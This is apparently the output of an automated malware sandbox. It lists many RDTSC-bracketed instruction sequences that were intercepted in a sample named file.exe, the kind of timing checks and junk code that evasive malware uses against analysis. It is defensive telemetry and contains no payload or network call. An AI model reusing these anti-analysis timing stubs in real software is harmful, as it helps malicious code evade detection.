Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8153 second address: 7F815D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2CCCC4BE16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84AE18 second address: 84AE30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 jmp 00007F2CCCD92DEBh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84AE30 second address: 84AE34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84AE34 second address: 84AE3E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2CCCD92DE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850C62 second address: 850C88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 js 00007F2CCCC4BE16h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2CCCC4BE24h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850C88 second address: 850C8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850C8C second address: 850C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850E12 second address: 850E17 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8512C6 second address: 8512CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8512CA second address: 8512FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F2CCCD92DF2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jnl 00007F2CCCD92DE6h 0x00000012 jmp 00007F2CCCD92DECh 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8512FA second address: 851300 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 852A56 second address: 852A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855B5C second address: 855B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855B67 second address: 855B80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855B80 second address: 855B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855B86 second address: 855B91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F2CCCD92DE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855B91 second address: 855B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855D1D second address: 855D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F2CCCD92DF0h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855D32 second address: 855D40 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2CCCC4BE18h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855D40 second address: 855D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855E89 second address: 855E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F2CCCC4BE1Ah 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855E9A second address: 855EB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2CCCD92DF0h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855EB1 second address: 855EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnp 00007F2CCCC4BE1Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85615F second address: 856163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856163 second address: 856169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856169 second address: 85616F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85616F second address: 856173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856173 second address: 856177 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856177 second address: 856187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007F2CCCC4BE1Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856187 second address: 856195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856195 second address: 8561AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE22h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A922 second address: 85A928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A928 second address: 85A92C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A92C second address: 85A932 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 860B18 second address: 860B24 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2CCCC4BE1Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 860B24 second address: 860B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F2CCCD92DF9h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 860E3A second address: 860E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861297 second address: 8612A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2CCCD92DE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8612A1 second address: 8612A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8613FF second address: 861403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861403 second address: 861419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2CCCC4BE20h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861419 second address: 86142E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2CCCD92DE8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jo 00007F2CCCD92DEEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861581 second address: 861587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861587 second address: 86158B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86158B second address: 86159F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE20h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86159F second address: 8615BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F2CCCD92DF6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8615BF second address: 8615C4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861F4C second address: 861F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2CCCD92DECh 0x00000009 popad 0x0000000a pushad 0x0000000b jne 00007F2CCCD92DE6h 0x00000011 jmp 00007F2CCCD92DF4h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8605AA second address: 8605B4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2CCCC4BE16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8605B4 second address: 8605BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8605BE second address: 8605C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F2CCCC4BE16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8605C8 second address: 8605CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8605CC second address: 8605DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F2CCCC4BE1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8605DA second address: 8605E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8605E4 second address: 8605E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868308 second address: 86831F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F2CCCD92DE8h 0x0000000c pushad 0x0000000d jng 00007F2CCCD92DE6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86831F second address: 868358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2CCCC4BE16h 0x0000000a jmp 00007F2CCCC4BE1Bh 0x0000000f popad 0x00000010 popad 0x00000011 jg 00007F2CCCC4BE4Fh 0x00000017 jmp 00007F2CCCC4BE28h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868358 second address: 86835C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A664 second address: 86A668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A668 second address: 86A674 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A674 second address: 86A678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87887F second address: 878885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878885 second address: 878896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F2CCCC4BE1Ch 0x0000000b jnp 00007F2CCCC4BE16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878896 second address: 8788A6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2CCCD92DF2h 0x00000008 jbe 00007F2CCCD92DE6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8788A6 second address: 8788B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007F2CCCC4BE16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8788B2 second address: 8788B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CA0B second address: 87CA10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 887D3C second address: 887D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 887D40 second address: 887D68 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2CCCC4BE1Ah 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F2CCCC4BE1Ch 0x00000014 jno 00007F2CCCC4BE18h 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D425 second address: 88D447 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F2CCCD92DEAh 0x0000000c push eax 0x0000000d pop eax 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F2CCCD92DE6h 0x00000018 jmp 00007F2CCCD92DEAh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D447 second address: 88D451 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2CCCC4BE16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D24A second address: 88D261 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D261 second address: 88D265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D265 second address: 88D283 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D283 second address: 88D289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D289 second address: 88D2A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 890260 second address: 890264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 890264 second address: 890270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 890270 second address: 890279 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8917B9 second address: 8917C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 896B12 second address: 896B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 896B18 second address: 896B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89760D second address: 897611 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897611 second address: 897617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898FE1 second address: 898FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 jmp 00007F2CCCC4BE24h 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C030 second address: 89C034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C034 second address: 89C038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C038 second address: 89C03E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C1AB second address: 89C1E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 jp 00007F2CCCC4BE2Ch 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F2CCCC4BE20h 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C1E5 second address: 89C1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C1EB second address: 89C203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F2CCCC4BE20h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7931 second address: 8A794C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2CCCD92DEAh 0x00000009 pop edx 0x0000000a jmp 00007F2CCCD92DECh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B65F9 second address: 8B65FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B65FD second address: 8B6607 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2CCCD92DE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6457 second address: 8B647A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2CCCC4BE21h 0x00000009 popad 0x0000000a popad 0x0000000b jbe 00007F2CCCC4BE30h 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B647A second address: 8B647E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B647E second address: 8B6482 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6482 second address: 8B6488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8CD5 second address: 8C8CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8CD9 second address: 8C8CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2CCCD92DF8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8CF7 second address: 8C8CFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C954B second address: 8C9575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F2CCCD92DF6h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F2CCCD92DE6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9575 second address: 8C9579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9579 second address: 8C9598 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9598 second address: 8C959C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C959C second address: 8C95A2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
